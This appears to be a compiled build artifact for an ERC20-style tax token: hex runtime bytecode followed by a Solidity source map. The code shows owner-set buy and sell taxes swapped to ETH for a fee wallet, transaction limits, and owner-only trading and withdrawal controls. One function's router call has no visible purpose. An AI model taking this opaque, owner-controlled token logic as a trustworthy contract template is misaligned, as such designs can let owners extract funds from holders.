63ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610816573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083a9190611790565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610884573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a89190611790565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d71947306108ef816001600160a01b03165f9081526001602052604090205490565b5f806109025f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610968573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061098d91906117ab565b505060115460105460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109e2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0691906117d6565b506011805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a825760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f8565b6001600160a01b038216610ae35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f8565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ba75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f8565b6001600160a01b038216610c095760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f8565b5f8111610c6a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f8565b5f80546001600160a01b03858116911614801590610c9557505f546001600160a01b03848116911614155b8015610caf57506003546001600160a01b03848116911614155b15610efe57600b545f03610cec57610ce96064610ce3600854600b5411610cd857600454610cdc565b6006545b8590611073565b906110f8565b90505b6011546001600160a01b038581169116148015610d1757506010546001600160a01b03848116911614155b15610e1a57600c54821115610d6e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f8565b600d5482610d90856001600160a01b03165f9081526001602052604090205490565b610d9a91906117f5565b1115610de85760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f8565b610e036064610ce3600854600b5411610cd857600454610cdc565b600b80549192505f610e1483611808565b91905055505b6011546001600160a01b038481169116148015610e4057506001600160a01b0384163014155b15610e6d57610e6a6064610ce3600954600b5411610e6057600554610cdc565b6007548590611073565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610ea357506011546001600160a01b038581169116145b8015610eb85750601154600160b01b900460ff165b8015610ec75750600a54600b54115b15610efc57600e54811115610ef357610ef3610eee84610ee984600f54611139565b611139565b61114d565b610efc476112bd565b505b8015610f7657305f90815260016020526040902054610f1d90826112f4565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f6d9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f989083611352565b6001600160a01b0385165f90815260016020526040902055610fdb610fbd8383611352565b6001600160a01b0385165f90815260016020526040902054906112f4565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110248585611352565b60405190815260200160405180910390a350505050565b5f818484111561105e5760405162461bcd60e51b81526004016103f891906113bf565b505f61106a8486611820565b95945050505050565b5f825f0361108257505f6103a8565b5f61108d83856116bf565b90508261109a8583611833565b146110f15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f8565b9392505050565b5f6110f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611393565b5f81831161114757826110f1565b50919050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111935761119361170b565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111ea573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061120e9190611790565b816001815181106112215761122161170b565b6001600160a01b0392831660209182029290920101526010546112479130911684610a20565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061127f9085905f9086903090429060040161171f565b5f604051808303815f87803b158015611296575f80fd5b505af11580156112a8573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6003546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610683573d5f803e3d5ffd5b5f8061130083856117f5565b9050838110156110f15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f8565b5f6110f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103b565b5f81836113b35760405162461bcd60e51b81526004016103f891906113bf565b505f61106a8486611833565b5f602080835283518060208501525f5b818110156113eb578581018301518582016040015282016113cf565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610438575f80fd5b803561142a8161140b565b919050565b5f8060408385031215611440575f80fd5b823561144b8161140b565b946020939093013593505050565b5f805f6060848603121561146b575f80fd5b83356114768161140b565b925060208401356114868161140b565b929592945050506040919091013590565b5f602082840312156114a7575f80fd5b81356110f18161140b565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156114d7575f80fd5b823567ffffffffffffffff808211156114ee575f80fd5b818501915085601f830112611501575f80fd5b813581811115611513576115136114b2565b8060051b604051601f19603f83011681018181108582111715611538576115386114b2565b604052918252848201925083810185019188831115611555575f80fd5b938501935b8285101561157a5761156b8561141f565b8452938501939285019261155a565b98975050505050505050565b5f8060408385031215611597575f80fd5b82356115a28161140b565b915060208301356115b28161140b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561160b57815f19048211156115f1576115f16115bd565b808516156115fe57918102915b93841c93908002906115d6565b509250929050565b5f82611621575060016103a8565b8161162d57505f6103a8565b8160018114611643576002811461164d57611669565b60019150506103a8565b60ff84111561165e5761165e6115bd565b50506001821b6103a8565b5060208310610133831016604e8410600b841016171561168c575081810a6103a8565b61169683836115d1565b805f19048211156116a9576116a96115bd565b029392505050565b5f6110f160ff841683611613565b80820281158282048414176103a8576103a86115bd565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561176f5784516001600160a01b03168352938301939183019160010161174a565b50506001600160a01b03969096166060850152505050608001529392505050565b5f602082840312156117a0575f80fd5b81516110f18161140b565b5f805f606084860312156117bd575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117e6575f80fd5b815180151581146110f1575f80fd5b808201808211156103a8576103a86115bd565b5f60018201611819576118196115bd565b5060010190565b818103818111156103a8576103a86115bd565b5f8261184d57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e9cd54e41c4b13442da247a9e8d1304c939aa3825d3ceb6ee261b5de0eb7d23964736f6c63430008170033

3599:7221:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5231:83;;;;;;;;;;-1:-1:-1;5301:5:0;;;;;;;;;;;;-1:-1:-1;;;5301:5:0;;;;5231:83;;;;;;;:::i;:::-;;;;;;;;6064:161;;;;;;;;;;-1:-1:-1;6064:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6064:161:0;1162:187:1;4600:54:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;4600:54:0;1354:177:1;5508:95:0;;;;;;;;;;;;;:::i;10674:106::-;;;;;;;;;;;;;:::i;:::-;;6233:311;;;;;;;;;;-1:-1:-1;6233:311:0;;;;;:::i;:::-;;:::i;4539:54::-;;;;;;;;;;;;;;;;5417:83;;;;;;;;;;-1:-1:-1;5417:83:0;;4224:1;2139:36:1;;2127:2;2112:18;5417:83:0;1997:184:1;5611:119:0;;;;;;;;;;-1:-1:-1;5611:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5704:18:0;5677:7;5704:18;;;:9;:18;;;;;;;5611:119;2680:148;;;;;;;;;;;;;:::i;9813:159::-;;;;;;;;;;;;;:::i;4411:56::-;;;;;;;;;;;;;;;;9387:418;;;;;;;;;;-1:-1:-1;9387:418:0;;;;;:::i;:::-;;:::i;2466:79::-;;;;;;;;;;-1:-1:-1;2504:7:0;2531:6;2466:79;;-1:-1:-1;;;;;2531:6:0;;;3842:51:1;;3830:2;3815:18;2466:79:0;3696:203:1;4474:58:0;;;;;;;;;;;;;;;;5322:87;;;;;;;;;;-1:-1:-1;5394:7:0;;;;;;;;;;;;-1:-1:-1;;;5394:7:0;;;;5322:87;;5738:167;;;;;;;;;;-1:-1:-1;5738:167:0;;;;;:::i;:::-;;:::i;10086:580::-;;;;;;;;;;;;;:::i;5913:143::-;;;;;;;;;;-1:-1:-1;5913:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6021:18:0;;;5994:7;6021:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5913:143;6064:161;6139:4;6156:39;301:10;6179:7;6188:6;6156:8;:39::i;:::-;-1:-1:-1;6213:4:0;6064:161;;;;;:::o;5508:95::-;5561:7;4282:13;4224:1;4282:2;:13;:::i;:::-;4267:28;;:12;:28;:::i;:::-;5581:14;;5508:95;:::o;10674:106::-;2593:6;;-1:-1:-1;;;;;2593:6:0;301:10;2593:22;2585:67;;;;-1:-1:-1;;;2585:67:0;;;;;;;:::i;:::-;;;;;;;;;2504:7;2531:6;;10724:48:::1;::::0;-1:-1:-1;;;;;2531:6:0;;;;10750:21:::1;10724:48:::0;::::1;;;::::0;10750:21;;10724:48;2504:7;10724:48;10750:21;2531:6;10724:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10674:106::o:0;6233:311::-;6331:4;6348:36;6358:6;6366:9;6377:6;6348:9;:36::i;:::-;6395:119;6404:6;301:10;6426:87;6462:6;6426:87;;;;;;;;;;;;;;;;;:31;6436:6;301:10;5913:143;:::i;6426:31::-;:35;:87;:35;:87::i;:::-;6395:8;:119::i;:::-;-1:-1:-1;6532:4:0;6233:311;;;;;:::o;2680:148::-;2593:6;;-1:-1:-1;;;;;2593:6:0;301:10;2593:22;2585:67;;;;-1:-1:-1;;;2585:67:0;;;;;;;:::i;:::-;2787:1:::1;2771:6:::0;;2750:40:::1;::::0;-1:-1:-1;;;;;2771:6:0;;::::1;::::0;2750:40:::1;::::0;2787:1;;2750:40:::1;2818:1;2801:19:::0;;-1:-1:-1;;;;;;2801:19:0::1;::::0;;2680:148::o;9813:159::-;2593:6;;-1:-1:-1;;;;;2593:6:0;301:10;2593:22;2585:67;;;;-1:-1:-1;;;2585:67:0;;;;;;;:::i;:::-;4282:13:::1;4224:1;4282:2;:13;:::i;:::-;4267:28;::::0;:12:::1;:28;:::i;:::-;9866:12;:22:::0;4282:13:::1;4224:1;4282:2;:13;:::i;:::-;4267:28;::::0;:12:::1;:28;:::i;:::-;9899:14;:22:::0;9937:27:::1;4282:13;4224:1;4282:2;:13;:::i;:::-;4267:28;::::0;:12:::1;:28;:::i;:::-;9937:27;::::0;1500:25:1;;;1488:2;1473:18;9937:27:0::1;;;;;;;9813:159::o:0;9387:418::-;9451:18;4282:13;4224:1;4282:2;:13;:::i;:::-;4267:28;;:12;:28;:::i;:::-;9480:11;:25;9493:5;9501:1;9493:11;;;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;9480:25:0;;;;;;;;;;;;;;;;-1:-1:-1;9480:25:0;;;9516:7;;;;;9480:44;;;;;;;:54;9538:12;;9535:263;;9566:15;;:220;;-1:-1:-1;;;9566:220:0;;-1:-1:-1;;;;;9566:15:0;;;;:66;;:220;;9651:10;;9566:15;;9700:5;;9732:4;;9756:15;;9566:220;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9535:263;9440:365;9387:418;:::o;5738:167::-;5816:4;5833:42;301:10;5857:9;5868:6;5833:9;:42::i;10086:580::-;2593:6;;-1:-1:-1;;;;;2593:6:0;301:10;2593:22;2585:67;;;;-1:-1:-1;;;2585:67:0;;;;;;;:::i;:::-;10150:11:::1;::::0;-1:-1:-1;;;10150:11:0;::::1;;;10149:12;10141:47;;;::::0;-1:-1:-1;;;10141:47:0;;7659:2:1;10141:47:0::1;::::0;::::1;7641:21:1::0;7698:2;7678:18;;;7671:30;7737:25;7717:18;;;7710:53;7780:18;;10141:47:0::1;7457:347:1::0;10141:47:0::1;10231:15;::::0;10199:58:::1;::::0;10216:4:::1;::::0;-1:-1:-1;;;;;10231:15:0::1;4282:13;4224:1;4282:2;:13;:::i;:::-;4267:28;::::0;:12:::1;:28;:::i;10199:58::-;10302:15;;;;;;;;;-1:-1:-1::0;;;;;10302:15:0::1;-1:-1:-1::0;;;;;10302:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10284:55:0::1;;10348:4;10355:15;;;;;;;;;-1:-1:-1::0;;;;;10355:15:0::1;-1:-1:-1::0;;;;;10355:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10284:94;::::0;-1:-1:-1;;;;;;10284:94:0::1;::::0;;;;;;-1:-1:-1;;;;;8295:15:1;;;10284:94:0::1;::::0;::::1;8277:34:1::0;8347:15;;8327:18;;;8320:43;8212:18;;10284:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10268:13;:110:::0;;-1:-1:-1;;;;;10268:110:0;;::::1;-1:-1:-1::0;;;;;;10268:110:0;;::::1;;::::0;;10389:15:::1;::::0;::::1;:31;10428:21;10459:4;10465:24;10459:4:::0;-1:-1:-1;;;;;5704:18:0;5677:7;5704:18;;;:9;:18;;;;;;;5611:119;10465:24:::1;10490:1;10492::::0;10494:7:::1;2504::::0;2531:6;-1:-1:-1;;;;;2531:6:0;;2466:79;10494:7:::1;10389:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10389:129:0;;;-1:-1:-1;;;;;8733:15:1;;;10389:129:0::1;::::0;::::1;8715:34:1::0;8765:18;;;8758:34;;;;8808:18;;;8801:34;;;;8851:18;;;8844:34;8915:15;;;8894:19;;;8887:44;10502:15:0::1;8947:19:1::0;;;8940:35;8649:19;;10389:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10536:13:0::1;::::0;10567:15:::1;::::0;10529:71:::1;::::0;-1:-1:-1;;;10529:71:0;;-1:-1:-1;;;;;10567:15:0;;::::1;10529:71;::::0;::::1;9471:51:1::0;-1:-1:-1;;9538:18:1;;;9531:34;10536:13:0;::::1;::::0;-1:-1:-1;10529:29:0::1;::::0;9444:18:1;;10529:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10611:11:0::1;:18:::0;;-1:-1:-1;;;;10640:18:0;-1:-1:-1;;;10640:18:0;;;10086:580::o;6552:335::-;-1:-1:-1;;;;;6645:19:0;;6637:68;;;;-1:-1:-1;;;6637:68:0;;10060:2:1;6637:68:0;;;10042:21:1;10099:2;10079:18;;;10072:30;10138:34;10118:18;;;10111:62;-1:-1:-1;;;10189:18:1;;;10182:34;10233:19;;6637:68:0;9858:400:1;6637:68:0;-1:-1:-1;;;;;6724:21:0;;6716:68;;;;-1:-1:-1;;;6716:68:0;;10465:2:1;6716:68:0;;;10447:21:1;10504:2;10484:18;;;10477:30;10543:34;10523:18;;;10516:62;-1:-1:-1;;;10594:18:1;;;10587:32;10636:19;;6716:68:0;10263:398:1;6716:68:0;-1:-1:-1;;;;;6795:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6847:32;;1500:25:1;;;6847:32:0;;1473:18:1;6847:32:0;;;;;;;6552:335;;;:::o;6895:1887::-;-1:-1:-1;;;;;6983:18:0;;6975:68;;;;-1:-1:-1;;;6975:68:0;;10868:2:1;6975:68:0;;;10850:21:1;10907:2;10887:18;;;10880:30;10946:34;10926:18;;;10919:62;-1:-1:-1;;;10997:18:1;;;10990:35;11042:19;;6975:68:0;10666:401:1;6975:68:0;-1:-1:-1;;;;;7062:16:0;;7054:64;;;;-1:-1:-1;;;7054:64:0;;11274:2:1;7054:64:0;;;11256:21:1;11313:2;11293:18;;;11286:30;11352:34;11332:18;;;11325:62;-1:-1:-1;;;11403:18:1;;;11396:33;11446:19;;7054:64:0;11072:399:1;7054:64:0;7146:1;7137:6;:10;7129:64;;;;-1:-1:-1;;;7129:64:0;;11678:2:1;7129:64:0;;;11660:21:1;11717:2;11697:18;;;11690:30;11756:34;11736:18;;;11729:62;-1:-1:-1;;;11807:18:1;;;11800:39;11856:19;;7129:64:0;11476:405:1;7129:64:0;7204:15;2531:6;;-1:-1:-1;;;;;7236:15:0;;;2531:6;;7236:15;;;;:32;;-1:-1:-1;2504:7:0;2531:6;-1:-1:-1;;;;;7255:13:0;;;2531:6;;7255:13;;7236:32;:49;;;;-1:-1:-1;7278:7:0;;-1:-1:-1;;;;;7272:13:0;;;7278:7;;7272:13;;7236:49;7232:1203;;;7305:9;;7316:1;7305:12;7302:134;;7347:73;7416:3;7347:64;7369:12;;7359:9;;:22;7358:52;;7396:14;;7358:52;;;7383:12;;7358:52;7347:6;;:10;:64::i;:::-;:68;;:73::i;:::-;7337:83;;7302:134;7464:13;;-1:-1:-1;;;;;7456:21:0;;;7464:13;;7456:21;:55;;;;-1:-1:-1;7495:15:0;;-1:-1:-1;;;;;7481:30:0;;;7495:15;;7481:30;;7456:55;7452:386;;;7550:12;;7540:6;:22;;7532:60;;;;-1:-1:-1;;;7532:60:0;;12088:2:1;7532:60:0;;;12070:21:1;12127:2;12107:18;;;12100:30;12166:27;12146:18;;;12139:55;12211:18;;7532:60:0;11886:349:1;7532:60:0;7645:14;;7635:6;7619:13;7629:2;-1:-1:-1;;;;;5704:18:0;5677:7;5704:18;;;:9;:18;;;;;;;5611:119;7619:13;:22;;;;:::i;:::-;:40;;7611:79;;;;-1:-1:-1;;;7611:79:0;;12572:2:1;7611:79:0;;;12554:21:1;12611:2;12591:18;;;12584:30;12650:28;12630:18;;;12623:56;12696:18;;7611:79:0;12370:350:1;7611:79:0;7719:73;7788:3;7719:64;7741:12;;7731:9;;:22;7730:52;;7768:14;;7730:52;;7719:73;7811:9;:11;;7709:83;;-1:-1:-1;7811:9:0;:11;;;:::i;:::-;;;;;;7452:386;7863:13;;-1:-1:-1;;;;;7857:19:0;;;7863:13;;7857:19;:43;;;;-1:-1:-1;;;;;;7880:20:0;;7895:4;7880:20;;7857:43;7854:170;;;7932:76;8004:3;7932:67;7954:13;;7944:9;;:23;7943:55;;7983:15;;7943:55;;;7969:13;;7932:6;;:10;:67::i;:76::-;7922:86;;7854:170;8101:4;8052:28;5704:18;;;:9;:18;;;;;;8127:6;;-1:-1:-1;;;8127:6:0;;;;8126:7;:30;;;;-1:-1:-1;8143:13:0;;-1:-1:-1;;;;;8137:19:0;;;8143:13;;8137:19;8126:30;:45;;;;-1:-1:-1;8160:11:0;;-1:-1:-1;;;8160:11:0;;;;8126:45;:74;;;;;8187:13;;8175:9;;:25;8126:74;8122:302;;;8247:11;;8224:20;:34;8221:129;;;8281:69;8298:51;8302:6;8310:38;8314:20;8336:11;;8310:3;:38::i;:::-;8298:3;:51::i;:::-;8281:16;:69::i;:::-;8373:35;8386:21;8373:12;:35::i;:::-;7287:1148;7232:1203;8450:9;;8447:156;;8516:4;8498:24;;;;:9;:24;;;;;;:37;;8527:7;8498:28;:37::i;:::-;8491:4;8473:24;;;;:9;:24;;;;;;;:62;;;;8553:38;;-1:-1:-1;;;;;8553:38:0;;;;;;;8583:7;1500:25:1;;1488:2;1473:18;;1354:177;8553:38:0;;;;;;;;8447:156;-1:-1:-1;;;;;8629:15:0;;;;;;:9;:15;;;;;;:27;;8649:6;8629:19;:27::i;:::-;-1:-1:-1;;;;;8613:15:0;;;;;;:9;:15;;;;;:43;8681:38;8699:19;:6;8710:7;8699:10;:19::i;:::-;-1:-1:-1;;;;;8681:13:0;;;;;;:9;:13;;;;;;;:17;:38::i;:::-;-1:-1:-1;;;;;8667:13:0;;;;;;;:9;:13;;;;;:52;;;;8735:39;;;8754:19;:6;8765:7;8754:10;:19::i;:::-;8735:39;;1500:25:1;;;1488:2;1473:18;8735:39:0;;;;;;;6964:1818;6895:1887;;;:::o;1358:190::-;1444:7;1480:12;1472:6;;;;1464:29;;;;-1:-1:-1;;;1464:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1504:9:0;1516:5;1520:1;1516;:5;:::i;:::-;1504:17;1358:190;-1:-1:-1;;;;;1358:190:0:o;1556:246::-;1614:7;1638:1;1643;1638:6;1634:47;;-1:-1:-1;1668:1:0;1661:8;;1634:47;1691:9;1703:5;1707:1;1703;:5;:::i;:::-;1691:17;-1:-1:-1;1736:1:0;1727:5;1731:1;1691:17;1727:5;:::i;:::-;:10;1719:56;;;;-1:-1:-1;;;1719:56:0;;13422:2:1;1719:56:0;;;13404:21:1;13461:2;13441:18;;;13434:30;13500:34;13480:18;;;13473:62;-1:-1:-1;;;13551:18:1;;;13544:31;13592:19;;1719:56:0;13220:397:1;1719:56:0;1793:1;1556:246;-1:-1:-1;;;1556:246:0:o;1810:132::-;1868:7;1895:39;1899:1;1902;1895:39;;;;;;;;;;;;;;;;;:3;:39::i;8790:98::-;8847:7;8874:1;8872;:3;8871:9;;8879:1;8871:9;;;-1:-1:-1;8877:1:0;8790:98;-1:-1:-1;8790:98:0:o;8896:483::-;4938:6;:13;;-1:-1:-1;;;;4938:13:0;-1:-1:-1;;;4938:13:0;;;8998:16:::1;::::0;;9012:1:::1;8998:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8998:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8998:16:0::1;8974:40;;9043:4;9025;9030:1;9025:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9025:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9069:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9069:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9025:7;;9069:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9059:4;9064:1;9059:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9059:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9134:15:::1;::::0;9102:62:::1;::::0;9119:4:::1;::::0;9134:15:::1;9152:11:::0;9102:8:::1;:62::i;:::-;9175:15;::::0;:196:::1;::::0;-1:-1:-1;;;9175:196:0;;-1:-1:-1;;;;;9175:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9256:11;;9175:15:::1;::::0;9298:4;;9325::::1;::::0;9345:15:::1;::::0;9175:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4974:6:0;:14;;-1:-1:-1;;;;4974:14:0;;;-1:-1:-1;;;;8896:483:0:o;9980:98::-;10045:7;;10037:33;;-1:-1:-1;;;;;10045:7:0;;;;10037:33;;;;;10063:6;;10045:7;10037:33;10045:7;10037:33;10063:6;10045:7;10037:33;;;;;;;;;;;;;;;;;;;1027:179;1085:7;;1117:5;1121:1;1117;:5;:::i;:::-;1105:17;;1146:1;1141;:6;;1133:46;;;;-1:-1:-1;;;1133:46:0;;13824:2:1;1133:46:0;;;13806:21:1;13863:2;13843:18;;;13836:30;13902:29;13882:18;;;13875:57;13949:18;;1133:46:0;13622:351:1;1214:136:0;1272:7;1299:43;1303:1;1306;1299:43;;;;;;;;;;;;;;;;;:3;:43::i;1950:189::-;2036:7;2071:12;2064:5;2056:28;;;;-1:-1:-1;;;2056:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2095:9:0;2107:5;2111:1;2107;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:134;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:247::-;2245:6;2298:2;2286:9;2277:7;2273:23;2269:32;2266:52;;;2314:1;2311;2304:12;2266:52;2353:9;2340:23;2372:31;2397:5;2372:31;:::i;2438:127::-;2499:10;2494:3;2490:20;2487:1;2480:31;2530:4;2527:1;2520:15;2554:4;2551:1;2544:15;2570:1121;2654:6;2685:2;2728;2716:9;2707:7;2703:23;2699:32;2696:52;;;2744:1;2741;2734:12;2696:52;2784:9;2771:23;2813:18;2854:2;2846:6;2843:14;2840:34;;;2870:1;2867;2860:12;2840:34;2908:6;2897:9;2893:22;2883:32;;2953:7;2946:4;2942:2;2938:13;2934:27;2924:55;;2975:1;2972;2965:12;2924:55;3011:2;2998:16;3033:2;3029;3026:10;3023:36;;;3039:18;;:::i;:::-;3085:2;3082:1;3078:10;3117:2;3111:9;3180:2;3176:7;3171:2;3167;3163:11;3159:25;3151:6;3147:38;3235:6;3223:10;3220:22;3215:2;3203:10;3200:18;3197:46;3194:72;;;3246:18;;:::i;:::-;3282:2;3275:22;3332:18;;;3366:15;;;;-1:-1:-1;3408:11:1;;;3404:20;;;3436:19;;;3433:39;;;3468:1;3465;3458:12;3433:39;3492:11;;;;3512:148;3528:6;3523:3;3520:15;3512:148;;;3594:23;3613:3;3594:23;:::i;:::-;3582:36;;3545:12;;;;3638;;;;3512:148;;;3679:6;2570:1121;-1:-1:-1;;;;;;;;2570:1121:1:o;3904:388::-;3972:6;3980;4033:2;4021:9;4012:7;4008:23;4004:32;4001:52;;;4049:1;4046;4039:12;4001:52;4088:9;4075:23;4107:31;4132:5;4107:31;:::i;:::-;4157:5;-1:-1:-1;4214:2:1;4199:18;;4186:32;4227:33;4186:32;4227:33;:::i;:::-;4279:7;4269:17;;;3904:388;;;;;:::o;4297:127::-;4358:10;4353:3;4349:20;4346:1;4339:31;4389:4;4386:1;4379:15;4413:4;4410:1;4403:15;4429:416;4518:1;4555:5;4518:1;4569:270;4590:7;4580:8;4577:21;4569:270;;;4649:4;4645:1;4641:6;4637:17;4631:4;4628:27;4625:53;;;4658:18;;:::i;:::-;4708:7;4698:8;4694:22;4691:55;;;4728:16;;;;4691:55;4807:22;;;;4767:15;;;;4569:270;;;4573:3;4429:416;;;;;:::o;4850:806::-;4899:5;4929:8;4919:80;;-1:-1:-1;4970:1:1;4984:5;;4919:80;5018:4;5008:76;;-1:-1:-1;5055:1:1;5069:5;;5008:76;5100:4;5118:1;5113:59;;;;5186:1;5181:130;;;;5093:218;;5113:59;5143:1;5134:10;;5157:5;;;5181:130;5218:3;5208:8;5205:17;5202:43;;;5225:18;;:::i;:::-;-1:-1:-1;;5281:1:1;5267:16;;5296:5;;5093:218;;5395:2;5385:8;5382:16;5376:3;5370:4;5367:13;5363:36;5357:2;5347:8;5344:16;5339:2;5333:4;5330:12;5326:35;5323:77;5320:159;;;-1:-1:-1;5432:19:1;;;5464:5;;5320:159;5511:34;5536:8;5530:4;5511:34;:::i;:::-;5581:6;5577:1;5573:6;5569:19;5560:7;5557:32;5554:58;;;5592:18;;:::i;:::-;5630:20;;4850:806;-1:-1:-1;;;4850:806:1:o;5661:140::-;5719:5;5748:47;5789:4;5779:8;5775:19;